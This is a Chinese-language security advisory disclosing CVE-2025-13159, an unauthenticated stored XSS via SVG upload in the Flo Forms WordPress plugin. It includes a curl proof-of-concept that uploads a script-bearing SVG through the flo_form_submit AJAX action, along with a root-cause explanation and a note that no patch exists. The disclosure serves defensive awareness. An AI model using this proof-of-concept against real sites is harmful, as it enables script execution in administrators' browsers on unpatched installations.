
Disclosure for CVE-2025-13159
CVE-2025-13159 披露
本仓库披露了在 Flo Forms – Easy Drag & Drop Form Builder <= 1.0.43(WordPress 插件,由 flothemesplugins 开发)中发现的一个漏洞。
| CVE ID | 类型 | 组件 | 影响 |
|---|---|---|---|
| CVE-2025-13159 | 未认证的存储型跨站脚本(通过 SVG 上传) | public/class-flo-forms-public.php | 未认证攻击者可执行 JS |
flo_form_submit 上传携带任意脚本的 SVG 文件,将恶意脚本注入管理界面。curl -k -X POST "https://localhost:8080/wp-admin/admin-ajax.php" \
-F 'action=flo_form_submit' \
-F 'flo_fid=<你的 fid>' \
-F 'flo-form-model={}' \
-F 'flo-form-schema={"groups":[]}' \
-F '[email protected];type=image/svg+xml'
※如果对象中的 fid 不存在,则操作会失败。
该插件扩展了 WordPress 允许的 MIME 类型,包含了 image/svg+xml,并暴露了一个未认证的 AJAX 动作(flo_form_submit),该动作接受文件附件并将其传递给 media_handle_upload(),且未进行任何 SVG 清理或权限检查。上传的 SVG 随后作为 image/svg+xml 返回,并从管理 UI 中链接。当管理员打开附件(直接或通过 <object>/``)时,浏览器会解析 SVG 文档并执行嵌入的脚本,从而导致存储型 XSS。
已经过去一个月,但补丁仍未发布,插件本身也已暂停下载。 这次 PoC 的复现一度不太顺利,卡了一个多小时,结果发现是因为在 XSS.svg 前面忘了加 @ 符号。
姓名:MooseLove
角色:独立安全研究员 / 漏洞猎人
联系方式:可根据要求提供
本公告为公共安全意识提供。允许自由转载,请注明出处。